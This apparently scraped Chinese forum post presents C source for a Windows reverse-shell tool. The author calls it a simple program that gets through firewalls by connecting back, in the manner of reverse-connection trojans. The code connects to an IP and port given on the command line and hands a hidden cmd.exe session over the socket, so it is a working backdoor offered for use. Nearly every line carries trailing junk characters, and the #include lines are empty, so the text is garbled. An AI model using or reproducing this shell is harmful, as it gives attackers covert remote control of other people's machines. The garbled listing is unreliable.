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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <%qbU-  
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/* ============================== J\m7U  
Rebound port in Windows NT m[ifcDZ(e  
By wind,2006/7 ;,Lq*x2s  
===============================*/ s8 .oS);`  
#include YHvmo@  
#include !6f#OAP\  
B quyPG"  
#pragma comment(lib,"wsock32.lib") B:^5W{  
{BJ[h  
void OutputShell(); dRWp/3 }  
SOCKET sClient; $sGX%u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?y ]3kU  
~Z.lvdA_5  
void main(int argc,char **argv) .6e5w1r63  
{ vlEd=H,LT  
WSADATA stWsaData; Vu~mi%UH  
int nRet; ${6 ;]ye  
SOCKADDR_IN stSaiClient,stSaiServer; { F. Ihw  
.'__ [|-{;  
if(argc != 3) \W/c C'  
{ +es.V /  
printf("Useage:\n\rRebound DestIP DestPort\n"); V%o:Qa[a  
return; c9r2kc3cy{  
} jUW{Z@{U  
v,Ep2$  
WSAStartup(MAKEWORD(2,2),&stWsaData); zLf^O%zN  
oE-i`;\8  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !Aj_r^[X`  
,lL0'$k~  
stSaiClient.sin_family = AF_INET; %S$P+B?  
stSaiClient.sin_port = htons(0); /SlCcozFL~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IF5+&O  
{^MR^4&}(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Rjm5{aa-  
{ ',J3^h!b  
printf("Bind Socket Failed!\n"); PuUqWW'^  
return; cN&b$ 8O=%  
} oVc_ (NH-  
L.+5`&  
stSaiServer.sin_family = AF_INET; K V  4>(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Xps MgJ/w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ji%T|KR_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~q-|cl<  
{ W9a H]9b  
printf("Connect Error!"); &W".fRH_O  
return; TO3Yz3+A  
} &*/X*!_HK  
OutputShell(); EG<K[t  
} pm3?  
;}^Pfm8  
void OutputShell() J~n{gT<L  
{ |`:Uww+3  
char szBuff[1024]; \$riwL  
SECURITY_ATTRIBUTES stSecurityAttributes; O3Ks|%1  
OSVERSIONINFO stOsversionInfo; (MJu3t @  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ")x9A&p  
STARTUPINFO stStartupInfo; QsI$4:yl  
char *szShell; I-fs*yzj;8  
PROCESS_INFORMATION stProcessInformation; zx;x@";p  
unsigned long lBytesRead; auL?Hb  
tao3Xr^?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )0qXZ gs  
VPtA %1  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *K-,<hJ#L  
stSecurityAttributes.lpSecurityDescriptor = 0; dIIsO{Zqv  
stSecurityAttributes.bInheritHandle = TRUE; "F)7!e  
>Pbd#*  
(W*yF2r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }{]{`\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $zxCv7  
U/0NN>V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Wm Od1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |D`Zi>lv  
stStartupInfo.wShowWindow = SW_HIDE; y5+-_x,  
stStartupInfo.hStdInput = hReadPipe; {9'"!fH  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `|v0@-'$  
}IEYH&4!  
GetVersionEx(&stOsversionInfo); SGjaH 8z  
-pa.-@  
switch(stOsversionInfo.dwPlatformId) w7w$z _P  
{ n# Z6d`  
case 1: U/|B IF  
szShell = "command.com"; MJ &6 Z*  
break; ?Mji'ZW}  
default: 8l;0)`PU  
szShell = "cmd.exe"; ;'2y6"\Y  
break; OO53U=NU  
} gt{ei)2b  
TZ-n)rC)v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tEBf2|<  
+>c)5Jih  
send(sClient,szMsg,77,0); pEhWgCL  
while(1) cs~ }k7><  
{ _;X# &S(q-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &k : |  
if(lBytesRead) ?G.9D`95  
{ wQ(ME7 t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *A c~   
send(sClient,szBuff,lBytesRead,0); nSgg'I(  
} *!l q1h  
else r`28fC  
{ _xUiHX<  
lBytesRead=recv(sClient,szBuff,1024,0); >N+e c_D^  
if(lBytesRead<=0) break; Oh<Z0M)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v8-F;>H  
} _qJ[~'m<^C  
} ^'v6 ,*:4  
YgdoQBQ  
return; j!m~ :D  
}
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